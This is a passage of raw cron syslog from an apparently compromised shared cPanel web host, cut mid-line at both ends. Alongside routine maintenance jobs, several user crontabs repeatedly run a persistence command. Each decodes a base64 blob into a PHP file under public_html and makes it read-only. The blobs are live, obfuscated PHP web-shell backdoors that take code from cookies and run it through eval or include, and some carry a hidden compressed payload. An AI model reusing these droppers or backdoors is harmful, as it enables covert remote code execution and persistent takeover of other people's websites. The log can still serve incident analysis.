TGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:14:01 medusa CROND[26256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:15:01 medusa CROND[9438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:15:01 medusa CROND[9533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:15:02 medusa CROND[9750]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:15:02 medusa CROND[9754]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:15:02 medusa CROND[9755]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:15:02 medusa CROND[9749]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:15:02 medusa CROND[9757]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9759]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:15:02 medusa CROND[9774]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:15:02 medusa CROND[9775]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:15:02 medusa CROND[9777]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:15:02 medusa CROND[9781]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:15:02 medusa CROND[9782]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9779]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:15:02 medusa CROND[9783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9788]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:15:02 medusa CROND[9794]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:15:02 medusa CROND[9778]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:15:02 medusa CROND[9801]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:15:02 medusa CROND[9789]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:16:01 medusa CROND[24560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:16:01 medusa CROND[24688]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:16:01 medusa CROND[24689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:16:01 medusa CROND[24692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:16:01 medusa CROND[24696]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:16:01 medusa CROND[24697]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:16:01 medusa CROND[24699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:16:01 medusa CROND[24703]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:16:01 medusa CROND[24706]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:16:01 medusa CROND[24717]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:16:01 medusa CROND[24718]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:16:01 medusa CROND[24719]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:16:01 medusa CROND[24723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:16:01 medusa CROND[24721]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:17:01 medusa CROND[8461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:17:01 medusa CROND[8463]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:17:01 medusa CROND[8464]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiB